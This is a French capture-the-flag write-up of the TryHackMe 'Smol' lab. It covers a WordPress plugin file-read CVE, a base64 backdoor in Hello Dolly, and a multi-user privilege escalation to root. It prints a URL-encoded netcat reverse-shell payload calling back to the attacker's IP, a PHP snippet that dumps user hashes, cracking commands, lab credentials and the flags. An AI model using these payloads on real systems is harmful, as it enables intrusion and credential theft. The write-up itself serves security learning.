Write-up : TryHackMe - Smol
Write-up : TryHackMe - Smol [MEDIUM]
- Nom : Smol
- Plateforme : TryHackMe
- Difficulté Annoncée : Medium
- Objectif : Obtenir les flags
user.txt
etroot.txt
. - IP cible : 10.10.224.142
- IP attaquant : 10.14.96.113
Introduction
Cette box Medium de TryHackMe nous invite à exploiter un site WordPress avec un plugin vulnérable, puis à escalader nos privilèges à travers plusieurs utilisateurs pour finalement obtenir root.
Phase 1 : Reconnaissance & Énumération
1. Scan des Ports (Nmap)
Commençons par identifier les services sur la machine cible avec un scan Nmap complet.
nmap -sC -sV -p- -T4 10.10.224.142
Le scan révèle deux ports ouverts :
- Port 22 (SSH) : OpenSSH 8.2p1 Ubuntu - Service SSH pour l’accès distant
- Port 80 (HTTP) : Apache httpd 2.4.41 Ubuntu - Serveur web avec redirection vers
www.smol.thm
Le serveur web sera notre point d’entrée principal.
2. Exploration Web & Énumération WordPress
Le site redirige vers www.smol.thm
. Après avoir ajouté cette entrée dans /etc/hosts
, nous découvrons un site WordPress dédié aux CTF.
Utilisons WPScan pour énumérer les plugins et vulnérabilités :
wpscan --url http://www.smol.thm
Phase 2 : Exploitation - CVE-2018-20463
Recherche de Vulnérabilités
Après des recherches approfondies sur le plugin JSmol2WP, nous découvrons la CVE-2018-20463 qui permet la lecture de fichiers arbitraires.
Exploitation de la Vulnérabilité
Cette CVE nous permet d’accéder au fichier wp-config.php
et d’extraire des informations sensibles :
- Utilisateur : wpuser
- Mot de passe : kbLSF2Vop#lw3rjDZ629*Z%G
Ces credentials nous donnent accès au dashboard WordPress !
Phase 3 : Accès WordPress & Découverte du Backdoor
Connexion au Dashboard
Avec les credentials récupérés, nous accédons au dashboard WordPress. Cependant, l’utilisateur wpuser
a des privilèges limités - pas de possibilité d’upload de fichiers ou de modification de thèmes.
Analyse du Plugin Hello Dolly
En inspectant le code source du plugin “Hello Dolly”, nous découvrons une fonction suspecte encodée en base64. Après décodage, nous révélons un backdoor !
Test du Backdoor
Testons l’exécution de commandes via le paramètre cmd
:
http://www.smol.thm/wp-admin/index.php?cmd=ls
Phase 4 : Obtention d’un Reverse Shell
Configuration du Reverse Shell
Préparons notre listener netcat :
nc -lnvp 9001
Puis exécutons un payload de reverse shell via le backdoor :
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.14.96.113%209001%20%3E%2Ftmp%2Ff
Nous obtenons un shell en tant qu’utilisateur www-data
!
Phase 5 : Énumération des Utilisateurs & Cracking
Extraction des Hashes WordPress
Utilisons les credentials de base de données pour extraire les hashes des utilisateurs WordPress :
php -r '
$mysqli = new mysqli("localhost", "wpuser", "kbLSF2Vop#lw3rjDZ629*Z%G", "wordpress");
$res = $mysqli->query("SELECT user_login, user_pass FROM wp_users");
while($row = $res->fetch_assoc()) { print_r($row); }
'
Cracking avec John the Ripper
john --wordlist=rockyou.txt hash.hash
Le hash de l’utilisateur diego est cracké : sandiegocalifornia
Nous pouvons maintenant nous connecter en SSH !

Phase 6 : Escalade de Privilèges - Utilisateur Diego
Connexion SSH & Premier Flag
ssh diego@10.10.224.142
Nous récupérons le premier flag dans le répertoire home de diego !
Flag user : 45edaec653ff9ee06236b7ce72b86963
Énumération pour l’Escalade
En explorant le système, nous découvrons une clé SSH privée dans /home/think/.ssh/
qui nous permet de nous connecter à l’utilisateur think
.
Phase 7 : Escalade vers l’Utilisateur Think
Utilisation de la Clé SSH
ssh -i think_key think@localhost
Nous sommes maintenant connectés en tant qu’utilisateur think
.
Découverte de l’Archive Protégée
L’utilisateur think
peut accéder à l’utilisateur gege
sans mot de passe et récupérer l’archive wordpress.old.zip
.
Phase 8 : Cracking de l’Archive & Escalade Finale
Extraction du Hash de l’Archive
zip2john wordpress.old.zip > zip.hash
john --wordlist=rockyou.txt zip.hash
Analyse de l’Archive
L’archive contient les logs de l’utilisateur xavi
, nous permettant de nous connecter à ce compte.
Escalade Root via Sudo
En tant qu’utilisateur xavi
, nous vérifions les privilèges sudo :
sudo -l
xavi
peut exécuter des commandes en tant que root ! Nous obtenons finalement l’accès root.Récupération du Flag Root
sudo su
cat /root/root.txt
Flag root : bf89ea3ea01992353aef1f576214d4e4
Conclusion
Cette box Smol nous a permis d’explorer :
- Énumération WordPress avec WPScan
- Exploitation CVE-2018-20463 pour la lecture de fichiers
- Command Injection via un backdoor dans un plugin
- Reverse shell et pivoting entre utilisateurs
- Cracking de hashes WordPress et d’archives ZIP
- Escalade de privilèges via clés SSH et sudo
Une excellente box pour comprendre l’importance de l’énumération approfondie et les techniques de pivoting entre utilisateurs !
Box très instructive pour une “Medium”, parfaite pour maîtriser l’exploitation WordPress et les techniques d’escalade de privilèges multi-utilisateurs.